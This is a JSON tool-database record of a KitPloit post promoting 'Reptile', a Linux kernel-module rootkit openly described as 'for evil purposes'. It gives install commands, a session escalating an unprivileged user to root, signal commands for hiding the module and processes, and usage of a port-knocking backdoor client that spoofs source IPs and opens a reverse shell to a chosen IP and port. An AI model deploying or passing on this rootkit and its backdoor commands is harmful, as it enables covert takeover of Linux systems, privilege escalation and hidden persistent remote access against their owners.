{"id": "KITPLOIT:3916133356306042352", "bulletinFamily": "tools", "title": "Reptile - LKM Linux Rootkit", "description": "[  ](<https://3.bp.blogspot.com/-njeg4Ycj-i0/We6JlmszIeI/AAAAAAAAJOA/Abensv8dY2oyN-NV_SrA5JSOm89mEOjzgCLcBGAs/s1600/rootkit-linux.jpg>)\n\n \nReptile is a LKM [ rootkit ](<https://www.kitploit.com/search/label/Rootkit>) for evil purposes. If you are searching stuff only for study purposes, see the [ demonstration codes ](<https://github.com/f0rb1dd3n/papers/tree/master/rootkit_demonstration>) . \n \n** Features ** \n\n\n * Give root to unprivileged users \n * Hide files and directories \n * Hide files contents \n * Hide processes \n * Hide himself \n * Boot persistence \n * Heaven's door - A ICMP/UDP port-knocking backdoor \n * Client to knock on heaven's door :D \n \n** Install ** \n\n \n \n apt-get install linux-headers-$(uname -r)\n https://github.com/f0rb1dd3n/Reptile.git\n cd Reptile\n ./installer.sh install\n\n \n** Usage ** \nBinaries will be copied to ` /reptile ` folder, that will be [ hidden ](<https://www.kitploit.com/search/label/Hidden>) by Reptile. \n \n** Getting root privileges ** \n\n \n \n [email\u00a0protected]:~$ id\n uid=1000(hax) gid=1000(hax) grupos=1000(hax),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),118(scanner)\n [email\u00a0protected]:~$ /reptile/r00t\n You got super powers!\n \n [email\u00a0protected]:/home/hax# id\n uid=0(root) gid=0(root) groups=0(root)\n\n \n** Hiding ** \n\n\n * Hide/unhide reptile module: ` kill -50 0 `\n * Hide/unhide process: ` kill -49 <PID> `\n * Hide files contents: all content between the tags will be hidden \nExample: \n\n \n \n #<reptile> \n content to hide \n #</reptile>\n\n \n** Knocking on heaven's door ** \nHeaven's door is a ICMP/UDP port-knocking [ backdoor ](<https://www.kitploit.com/search/label/Backdoor>) used by Reptile. To access the [ backdoor ](<https://www.kitploit.com/search/label/Backdoor>) you can use the client: \n\n \n \n Knock [Knock](<https://www.kitploit.com/search/label/Knock>) on Heaven's Door\n Writen by: F0rb1dd3n\n \n Usage: ./knock_on_heaven <args>\n \n -x protocol (ICMP/UDP)\n -s Source IP address (You can spoof)\n -t Target IP address\n -p Source Port\n -q Target Port\n -d Data to knock on backdoor: \"<key> <reverse IP> <reverse Port>\"\n -l Launch listener\n \n [!] ICMP doesn't need ports\n \n ICMP: ./knock_on_heaven -x icmp -s 192.168.0.2 -t 192.168.0.3 -d \"F0rb1dd3n 192.168.0.4 4444\" -l\n UDP: ./knock_on_heaven -x udp -s 192.168.0.2 -t 192.168.0.3 -p 53 -q 53 -d \"F0rb1dd3n 192.168.0.4 4444\" -l\n \n\n \n** Disclaimer ** \nSome functions of this module is based on another rootkits. Please see the references! \n \n** References ** \n\n\n * \u201c [ LKM HACKING ](<http://www.ouah.org/LKM_HACKING.html>) \u201d, The Hackers Choice (THC), 1999; \n * [ https://github.com/m0nad/Diamorphine.git ](<https://github.com/m0nad/Diamorphine.git>)\n * [ https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git ](<https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git>)\n * [ https://github.com/maK-/maK_it-Linux-Rootkit ](<https://github.com/maK-/maK_it-Linux-Rootkit>)\n * \u201c [ Abuse of the ](<http://phrack.org/issues/50/5.html>) [ Linux ](<https://www.kitploit.com/search/label/Linux>) Kernel for Fun and Profit\u201d, Halflife, Phrack 50, 1997; \n * [ https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/ ](<https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/>)\n \n\n\n** [ Download Reptile ](<https://github.com/f0rb1dd3n/Reptile>) **\n", "published": "2017-10-30T15:36:18", "modified": "2017-10-30T15:36:18", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "http://www.kitploit.com/2017/10/reptile-lkm-linux-rootkit.html", "reporter": "KitPloit", "references": ["https://github.com/f0rb1dd3n/Reptile", "https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git", "https://github.com/maK-/maK_it-Linux-Rootkit", "https://github.com/m0nad/Diamorphine.git", "https://github.com/f0rb1dd3n/papers/tree/master/rootkit_demonstration"], "cvelist": [], "type": "kitploit", "lastseen": "2020-12-08T13:23:21", "edition": 124, "viewCount": 73, "enchantments": {"dependencies": {"references": [], "modified": "2020-12-08T13:23:21", "rev": 2}, "score": {"value": -0.3, "vector": "NONE", "modified": "2020-12-08T13:23:21", "rev": 2}, "vulnersScore": -0.3}, "toolHref": "https://github.com/f0rb1dd3n/Reptile", "scheme": null}

{}